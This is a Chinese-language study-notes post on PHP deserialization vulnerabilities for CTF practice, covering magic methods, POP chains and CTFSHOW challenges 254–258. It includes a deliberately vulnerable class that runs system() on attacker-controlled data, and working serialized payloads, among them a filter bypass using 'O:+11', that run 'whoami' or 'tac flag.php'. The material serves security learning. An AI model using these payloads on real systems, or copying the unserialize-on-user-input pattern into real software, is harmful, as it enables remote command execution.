PHP 反序列化漏洞学习笔记(CTF向总结)

适用于安全学习、CTF刷题与漏洞理解


一、什么是反序列化

1. 基本概念

在程序中,对象不能直接进行传输或存储,因此需要进行格式转换:

操作 说明
序列化(Serialization) 对象 → 字符串 / 数组
反序列化(Deserialization) 字符串 → 对象

PHP 中常用函数:

php 复制代码
serialize()     // 对象 → 字符串
unserialize()   // 字符串 → 对象

2. 通俗理解

操作 类比
序列化 把人拍成照片
反序列化 根据照片还原人

3. 示例代码

php 复制代码
<?php
class User {
    public $name = "xuan";
}

$obj = new User();

// 序列化
$str = serialize($obj);
echo $str;

// 反序列化
$obj2 = unserialize($str);
var_dump($obj2);
?>

输出示例:

复制代码
O:4:"User":1:{s:4:"name";s:4:"xuan";}

4. 序列化结构解析(重点)

复制代码
O:4:"User":1:{
    s:4:"name";
    s:4:"xuan";
}
标识 含义
O Object
4 类名长度
"User" 类名
1 属性数量
s string
4 字符串长度

👉 该结构是后续漏洞利用的核心基础


二、PHP 魔术方法

1. 什么是魔术方法

特点:

  • 自动触发
  • 无需手动调用
  • 在特定场景执行

2. 分类

(1)对象生命周期

php 复制代码
__construct()   // 创建对象时
__destruct()    // 对象销毁时(重点)

(2)序列化相关(重点)

php 复制代码
__sleep()       // serialize() 时触发
__wakeup()      // unserialize() 时触发(重点入口)

(3)字符串 / 调用

php 复制代码
__toString()    // 对象转字符串
__invoke()      // 对象当函数调用

(4)方法控制

php 复制代码
__call()
__callStatic()

(5)属性控制

php 复制代码
__get()
__set()
__isset()
__unset()

3. CTF 常用重点

方法 作用
__destruct ⭐ 常见利用点
__wakeup ⭐ 入口点
__toString ⭐ 间接触发
__invoke ⭐ 函数调用

三、反序列化漏洞产生原因

1. 核心条件

php 复制代码
unserialize($_GET['x']);

👉 用户可控数据进入反序列化


2. 危险点

攻击者可以:

  • 构造恶意对象
  • 控制属性值
  • 触发魔术方法

3. 示例漏洞

php 复制代码
<?php
class B{
    public $cmd='ipconfig';

    public function __destruct(){
        system($this->cmd);
    }
}

unserialize($_GET['x']);

4. 攻击流程

第一步:构造 payload

复制代码
O:1:"B":1:{s:3:"cmd";s:6:"whoami";}

第二步:发送请求

复制代码
http://target.com/?x=payload

5. 执行过程

  1. unserialize() 创建对象
  2. 脚本结束
  3. 触发 __destruct()
  4. 执行命令
php 复制代码
system("whoami");

6. 本质总结

用户输入 → 控制对象 → 触发魔术方法 → 执行危险函数


四、POP 链(重点)

1. 什么是 POP

POP = Property-Oriented Programming(面向属性编程)

核心思想:

利用属性 + 魔术方法 形成调用链


2. 为什么需要 POP 链

问题:

  • 危险函数不在魔术方法中

解决:

  • 通过"类之间调用"间接触发

3. POP 链结构

位置 含义
起点 可控反序列化
跳板 类调用关系
终点 system / eval

4. 类比理解

无法直接调用函数

→ 通过"中间路径"绕过去

类似:

复制代码
窗户 → 走廊 → 房间 → 开门

五、CTFSHOW 题目分析


1. 254(对象引用)

👉 重点:理解对象之间调用关系


2. 255(变量修改)

php 复制代码
class ctfShowUser{
    public $isVip=true;
}

利用点

复制代码
b:1 → b:0

👉 修改 VIP 权限(逻辑绕过)


3. 256(参数修改)

php 复制代码
public $username='xxxx';
public $password='xxxxxx';

利用点

复制代码
s:6:"xiaodi" → s:5:"admin"

⚠️ 注意:

字符串长度必须一致!


4. 257(对象嵌套)

php 复制代码
class ctfShowUser{
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    public $code='system("tac flag.php");';
}

利用点

控制:

php 复制代码
$code

最终实现:

php 复制代码
system("tac flag.php");

5. 258(正则绕过)

php 复制代码
$b=str_replace(':11',':+11',$a);
$c=str_replace(':8',':+8',$b);

原理

复制代码
:+11 == 11

👉 PHP 能解析

👉 正则匹配失败


Payload

复制代码
O:+11:"ctfShowUser":1:{
    s:5:"class";
    O:+8:"backDoor":1:{
        s:4:"code";
        s:23:"system('tac flag.php');";
    }
}

六、核心总结

1. 漏洞触发条件

  • 使用 unserialize()
  • 数据用户可控
  • 存在魔术方法

2. 利用本质

控制属性 → 触发魔术方法 → 执行代码


3. 常见攻击目标

  • system()
  • eval()
  • 文件操作函数
  • SQL 执行函数

结语

反序列化漏洞本质并不复杂,但难点在于:

如何构造调用链(POP链)

建议从简单题逐步过渡到复杂框架(如 Laravel、ThinkPHP)。


复制代码
相关推荐
是隼人7 分钟前
buuctf-pwn wdb_2018_3rd_soEasy(ret2shellcode)题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
mykj15518 小时前
英语单词APP解锁学习新方式,智能高效背单词
学习·英语单词app
kruptos9 小时前
分布式系统怎么“选主“?Raft 共识一次讲清
开发语言·分布式·php·共识算法
知识分享小能手9 小时前
深度学习学习教程,从入门到精通,深度学习中的正则化 — 完整知识点与代码示例(7)
人工智能·深度学习·学习
~kiss~10 小时前
Agent 的 未来吗?String: An Agentic OS Where Every App Is a Markdown File
学习
HugoStudio_SWAN11 小时前
洛谷 B4450 / B3867 / B3923 智慧购物、储蓄与做题——从程序到生活
c++·学习·程序人生·算法·生活
Figo_Cheung12 小时前
Figo基于RNC理论的宇宙演化第七纪元猜想
开发语言·php
猎头南楼12 小时前
VLA 模型落地端侧:从架构选型到量化部署的工程实践笔记
笔记·架构·大模型
Capricorn198813 小时前
日志级幻觉排障:GPT-6 Astra 迈入 AGI 时代,知芽 Notebook Skill 如何以引用校验与零命中诚实弃权解决长文失忆
论文阅读·人工智能·笔记·gpt·agi
UIU11413 小时前
scanf与cout的误区:探究其内部的机制
c++·学习·c#·scanf